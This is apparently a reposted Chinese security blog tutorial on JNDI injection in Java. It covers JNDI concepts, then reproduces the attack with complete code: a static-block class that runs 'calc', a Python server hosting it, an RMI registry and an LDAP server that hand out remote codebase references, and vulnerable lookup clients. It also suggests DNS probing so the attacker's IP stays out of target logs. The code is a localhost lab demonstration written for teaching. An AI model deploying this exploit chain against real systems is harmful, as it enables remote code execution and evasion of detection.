首页 > 编程语言 >【Java安全】JNDI注入浅析

【Java安全】JNDI注入浅析

时间:2025-01-16 10:57:30浏览次数:1  
标签:Java 对象 JNDI 查找 lookup import com 浅析

以下文章来源于情深网安 ,作者一往情深

一、JNDI简介

1.1 JNDI的基本概念

JNDI(Java Naming and Directory Interface)是Java平台提供的一个API,它允许Java应用程序访问命名和目录服务。它主要用于查找各种资源,提供了一种统一的方式来访问不同的目录和命名服务。JNDI的工作方式是通过名称查找对象,而不是直接通过对象类型查找。为了更形象的理解概念,可以把JNDI比喻成一个电话簿, 当你知道某个人的名字时,你可以通过电话簿找到他的联系方式,而不需要知道他具体的电话号码。若程序定义了 JDNI 中的接口,则就可以通过该接口 API 访问系统的命令服务和目录服务,如下图。

1.2 JNDI的核心名词解释

在前面关于JNDI的概念中,已经提到了与命名服务和目录服务相关的一些术语。下面对JNDI常见的一些术语进行具体解释:

命名服务(Naming Service):

命名服务是JNDI中的一种功能,通过名称来查找资源。它允许使用一个名称(例如RMI)来访问对应的资源。可以将其简单理解为“键值对绑定”,通过键名检索对应的值。例如:通过资源名称查找到一个对象的引用。

目录服务(Directory Service):

目录服务是命名服务的扩展,能够处理更复杂的结构,如LDAP或DNS。与命名服务的区别在于,目录服务支持通过对象的属性来进行检索。
举个例子:在公司的人力资源系统中查找某个员工,可以通过“部门 -> 职位 -> 员工姓名”这样的方式查找。比如,要找到一名软件工程师,先定位到“技术部”,再找到“开发组”,最后根据“员工姓名”定位到具体的人员。这种分层级的查找方式类似于目录结构,“部门”、“职位”、“员工姓名”是描述该员工的属性,而这种存储和查找方式就被称为目录服务。

Context(上下文):

Context是JNDI的核心概念之一,表示一个命名环境。它提供了命名空间的视图,并支持与命名服务进行交互。通过Context,可以执行对象的查找、绑定、解绑和移除等操作。

Name(名字):

Name是JNDI中对象的名称,通常由一个字符串列表表示,代表资源的路径。通过Name,用户可以在命名空间中找到对应的资源。

Binding(绑定):

绑定是指将一个对象与一个名称关联。通过绑定,可以在JNDI环境中将一个资源(如数据库连接、消息队列等)与一个名称绑定起来,之后通过该名称访问该资源。

Lookup(查找):

查找是指根据名称获取资源的操作。通过lookup()方法,JNDI可以从命名服务中查找并返回一个已绑定的对象。

Environment(环境):

环境是JNDI操作所依赖的配置信息集合,通常包含一些如服务器地址、端口、认证信息等参数。这些参数决定了如何连接和使用JNDI服务。

DirContext(目录上下文):

DirContext是JNDI中用于访问和操作目录服务的接口,扩展自Context接口。它提供了用于搜索和更新目录中对象的额外方法,如通过对象属性来查找特定资源。

NamingException(命名异常):

这是JNDI中的一种异常类型,用于指示命名服务相关的错误,比如找不到指定名称的资源、资源的类型不匹配等。

Subcontext(子上下文):

子上下文是指在一个Context中创建的新的命名空间。通过子上下文,可以将命名空间层次化,方便管理和组织资源。

ContextFactory(上下文工厂):

ContextFactory用于创建Context实例。不同类型的命名服务可能会有不同的上下文工厂,负责创建与具体命名服务相关的上下文对象。

InitialContext(初始上下文):

InitialContext是JNDI的入口点,通常用于获取与命名服务交互的Context对象。在JNDI操作中,通常先通过InitialContext获取一个初始的上下文对象,然后通过它进行资源的查找和绑定。

1.3 JNDI常用操作

获取Context: 获取命名上下文是使用JNDI的第一步。常见的获取方式是通过InitialContext类来获得。

import javax.naming.InitialContext;
import javax.naming.Context;
 
Context ctx = new InitialContext();

查找对象: 使用lookup方法来查找已经在命名空间中绑定的对象。

Object obj = ctx.lookup("java:/comp/env/jdbc/MyDataSource");

绑定对象: 使用bind或rebind方法来将对象绑定到命名空间中。

ctx.bind("java:/comp/env/jdbc/MyDataSource", myDataSource);

删除对象: 使用unbind方法来从命名空间中移除一个绑定对象。

ctx.unbind("java:/comp/env/jdbc/MyDataSource");

二、JNDI注入原理

JNDI注入是由于 lookup() 方法的参数是外部可控的,攻击者可以通过在远程服务器上构造恶意的 Reference 对象并绑定到某个命名服务(例如 LDAP、RMI、DNS 等)的注册表中,从而诱导客户端在调用 lookup() 方法时加载并执行恶意代码。

攻击流程通常如下:

1、攻击者在可控的远程服务器(如 RMI 或 LDAP 服务器)上,构造一个恶意的 Reference 对象,并将其绑定到该服务的命名注册表中。

2、受害者的客户端程序调用 lookup() 方法,并通过用户输入或不受信任的参数传递了一个恶意的 JNDI 地址(如 rmi://、ldap:// 或其他协议)。

3、客户端程序向远程服务发起请求,获取到 Reference 对象。

4、客户端解析 Reference 对象,并根据其中的属性尝试加载指定的类。如果客户端无法在本地查找到该类(通过 Class.forName 等),会按照 Reference 中的远程地址去下载并加载对应的类。

5、恶意类被加载到客户端的 JVM 中,并在本地执行,最终导致远程代码执行(RCE)。

JNDI 注入对 JDK 版本有相应的限制,具体可利用版本如下,从下面的图可以发现JNDI注入中LDAP的方式比RMI方式兼容性更大,所以实战中我们优先选择使用LDAP

三、JNDI注入复现

3.1 JNDI + RMI

首先准备好恶意的字节码载荷,并使用python启动http服务,需要注意的是恶意class中没有写包名

// 注意: 无包名,作为远程加载的类
public class Calc  {
    static {
        try {
            Runtime.getRuntime().exec("calc");
            System.out.println("恶意代码被加载执行 ! ! !");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
python -m http.server 8081

运行攻击者服务端的RMI服务

package com.study.jndi.rmi;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.Reference;
import com.sun.jndi.rmi.registry.ReferenceWrapper;

public class RMIServer {
    public static void main(String[] args) throws Exception{
        // 创建一个 RMI 注册表, 绑定到 7778 端口
        Registry registry = LocateRegistry.createRegistry(7778);
        // 创建一个 Reference 对象,表示将要在 RMI 注册表中绑定的对象 第一个"Calc" 是对象的类名, 第2个"Calc" 是构造方法的名称, URL 表示该对象的工厂位置
        Reference reference = new Reference("Calc","Calc","http://127.0.0.1:8081/");
        // 使用 ReferenceWrapper 包装 Reference 对象, 这样可以使得 Reference 对象通过 RMI 注册表被查找时, 能够被正确反序列化并执行
        ReferenceWrapper wrapper = new ReferenceWrapper(reference);
        // 将包装后的 ReferenceWrapper 绑定到 RMI 注册表中,使用 "RCE" 作为绑定名
        registry.bind("RCE",wrapper);
        System.out.println("攻击者的RMI服务已启动 . . .");
    }
 }

漏洞端代码,执行触发RCE


package com.study.jndi.rmi;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class RMIClient {
    public static void main(String[] args) throws NamingException{
        // 定义 RMI 服务器地址及绑定的远程对象名称
        String uri = "rmi://127.0.0.1:7778/RCE";
        // 创建一个 InitialContext 实例, 它是 JNDI 查找的起点
        InitialContext initialContext = new InitialContext();
        // 使用 JNDI 查找远程对象, 并返回相应的引用
        initialContext.lookup(uri);
    }
 }

对刚刚的攻击流程进行断点分析

我们在JNDI注入的核心方法lookup上下断点进行调试

继续追踪到lookup方法的实现,getRootURLContext 方法作为第一步,用于解析传入的URL,目的是分隔 RMI URL 的各个部分,并返回一个相应的上下文信息。

继续向下执行代码,var2的ResolvedObj属性会赋值给var3,然后去调用var3的lookup方法

跟进var3的lookup方法, 该 lookup 方法通过传入的var1参数查找并返回对应的对象。如果为空,则返回一个新的 RegistryContext 对象。这里var1的值为RCE,从远程注册表 (this.registry) 查找第一个部分的对象。若查找失败,会抛出 NameNotFoundException;若发生远程异常,则通过 wrapRemoteException 方法将其包装为 NamingException。最后,成功查找到远程对象后,使用 decodeObject 方法对其进行解码,并返回相应的对象。

最后,执行decodeObject方法,用于解码远程对象

跟进decodeObject方法,该方法接收一个远程对象 (Remote var1) 和 JNDI 名称 (Name var2),并尝试解码远程对象。其主要逻辑是通过判断 var1 是否为 RemoteReference 类型,决定是否获取远程引用,并使用 NamingManager.getObjectInstance 获取对象实例。这个方法的作用是将远程对象转换为本地对象,并返回转换后的本地对象,从而触发远程类的执行

跟进getObjectInstance方法,首先尝试使用一个名为 ObjectFactoryBuilder 的构建器来创建一个 ObjectFactory 实例。如果构建器存在且能够创建一个有效的工厂(factory),则调用该工厂的 getObjectInstance 方法来获取对象实例并返回。 这里采用远程方法调用,故本地没有对象工厂构建器

下面检查 refInfo 的类型,如果是 Reference 类型,则尝试获取引用中的工厂类名

如果 ref 存在则尝试通过该类名创建相应的工厂类并使用它来创建对象实例。

跟进getObjectFactoryFromReference方法, 这段代码实现了优先加载本地类(当前类路径中的类),如果本地类路径中找不到指定的类,则尝试从远程代码库(codebase)加载的逻辑。

下面代码进行类加载,这里因为恶意代码写在 static 代码块中,所以类加载时即可触发执行

最后调用 newInstance() 方法来执行实例

3.2 JNDI + LDAP

和上面一样准备好恶意载荷并用python起http服务

运行攻击者服务端LDAP服务,服务端代码如下,运行该代码需要导入unboundid依赖,
pom如下

<dependency>
   <groupId>com.unboundid</groupId>
   <artifactId>unboundid-ldapsdk</artifactId>
   <version>3.2.0</version>
 </dependency>
package com.study.jndi.ldap;

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class LDAPServer {
    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main (String[] args) {
        String url = "http://127.0.0.1:8081/#Calc";
        int port = 1389;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();
        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {
        private URL codebase;
        /**
         *
         */
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
 }

漏洞端代码,执行触发RCE

package com.study.jndi.ldap;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class LDAPClient {
    public static void main(String[] args) throws NamingException{
        String url = "ldap://127.0.0.1:1389/Calc";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(url);
    }
}

对刚刚的攻击流程进行断点分析,其实和RMI的流程大差不差,就当做再复习一遍,还是在lookup方法上打上断点

这里是判断传入的Ldap URL是否合法,不合法则会抛出异常

继续跟进lookup方法,再进入var3的lookup方法

通过不断更新上下文和名称,分段完成名称的查找过程。这种实现通常用于支持复合命名系统,例如多个命名空间的拼接

下面这段代码实现了一个名为 p_lookup 的方法,负责根据传入的 Name 和 Continuation 对象进行命名查找操作。它主要通过 p_resolveIntermediate 方法解析中间部分名称,并根据解析的状态决定执行具体的查找操作

跟进方法最后跳转到DirectoryManager的getObjectInstance方法,后面的分析就和上文RMI一模一样的了

3.3 JNDI + DNS

从上面复现的案例知道JNDI 注入可以通过 RMI 和 LDAP 协议远程加载恶意代码并执行,但在漏洞尚未确认的情况下贸然尝试利用,目标服务器的日志可能记录下攻击者的 IP 地址,从而暴露攻击者的服务器 IP。为规避这一问题,可以优先使用 DNS 协议进行漏洞探测,确定存在漏洞了再去使用LDAP和RMI协议进行漏洞利用。

漏洞端代码

package com.study.jndi.dns;

import javax.naming.InitialContext;
import javax.naming.NamingException;


public class DNSClient {
    public static void main(String[] args) throws NamingException{
        String url = "dns://alsr42.dnslog.cn";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(url);
    }
 }

参考 :

https://www.cnblogs.com/shaoqiblog/p/17242065.html

https://download.csdn.net/blog/column/11907514/136459856#1JNDI_2

https://www.cnblogs.com/LittleHann/p/17768907.html

https://blog.csdn.net/qq_61620566/article/details/142939502

标签:Java,对象,JNDI,查找,lookup,import,com,浅析
From: https://www.cnblogs.com/o-O-oO/p/18674537

相关文章

  • 【附源码】JAVA花店管理后台系统源码+SpringBoot+VUE+前后端分离
    学弟,学妹好,我是爱学习的学姐,今天带来一款优秀的项目:花店管理后台系统 。本文介绍了系统功能与部署安装步骤,如果您有任何问题,也请联系学姐,偶现在是经验丰富的程序员!一.系统演示系统测试截图     系统视频演示 https://githubs.xyz/show/341.mp4 二.系统概......
  • java打包注意事项
    场景:provide的依赖报错1.找到报错的全类名,例如:org.jsoup.nodes.Element使用ctrl+n找到这个类,然后使用定位符定位在哪个jar: 分析冲突最好使用IDEA插件:mavenhelper: 这个时候在pom文件就可以分析依赖了,输入之前搜索到的jar包 简单的冲突,可以在显示冲突的地方,右键-排......
  • 2024年最新计算机毕业设计选题题目参考,2000+ Java毕业设计题目,值得收藏,另有python,小程
     风定落花生,歌声逐流水,大家好我是风歌,混迹在java圈的辛苦码农。最近有很多同学咨询,说快要毕业设计了,不知道选什么题目比较好,有哪些方面是需要注意的。基于这一点,这里整理了一些java毕业设计的题目,大家可以参考一下,希望能对大家有所帮助。一、整体设计方向Java目前仍然是最......
  • Java全栈项目-办公自动化OA系统
    项目简介办公自动化系统(OA系统)是一个基于Java开发的企业级应用系统,旨在提高企业的办公效率,实现无纸化办公。本项目采用前后端分离架构,运用当下流行的技术栈,实现了一个功能完善的OA系统。技术栈后端技术SpringBoot2.xSpringSecurityMyBatis-PlusRedisMySQLJWT前端技......
  • 蓝牙6.0新特性浅析
    蓝牙6.0新特性浅析|DD'Notes蓝牙6.0新特性浅析蓝牙6.0的核心规范包含了许多新特性和改进,以下是一些主要的新特性:14.1NewfeaturesSeveralnewfeaturesareintroducedinv6.0.Themajorareasofimprovementare:•ChannelSounding,includingChannelSoundingHCI......
  • Java全栈项目-校园志愿者服务平台开发实践
    项目简介校园志愿者服务平台是一个面向高校的志愿服务管理系统,旨在提供志愿活动发布、报名、签到、时长统计等功能,促进校园志愿服务的规范化管理和高效开展。本文将详细介绍该项目的技术架构、核心功能实现以及开发过程中的经验总结。技术栈后端技术SpringBoot2.7.0Sp......
  • Java中的高效集合操作:Stream API实战指南
    Java中的高效集合操作:StreamAPI实战指南1.引言:集合操作的痛点在日常开发中,我们经常需要对集合进行各种操作,比如过滤、映射、排序、聚合等。传统的做法是使用for循环或Iterator,代码冗长且容易出错。比如:List<String>names=newArrayList<>();for(Useruser:users......
  • Java异常
    什么是异常异常的捕获与抛出trycatchfinally的使用publicclassTest{publicstaticvoidmain(String[]args){inta=1;intb=0;try{//try监控区域System.out.println(a/b);}catch(ArithmeticExce......
  • 【Java开发】实现 License 认证(只校验有效期)
    一、License介绍License也就是版权许可证书,一般用于收费软件给付费用户提供的访问许可证明1.1应用场景应用部署在客户的内网环境这种情况开发者无法控制客户的网络环境,也不能保证应用所在服务器可以访问外网因此通常的做法是使用服务器许可文件,在应用启动的时候加载证书然......
  • 【Java安全】浅谈内存马
    一、内存马概述1.1内存马产生的背景1.2Java内存马的基本原理1.3Java内存马的类型1.4Java内存马的使用场景二、内存马注入实战演示2.1JSP注入Filter内存马2.2Fastjson反序列化注入内存马2.3注入Agent内存马三、内存马的检测与防御......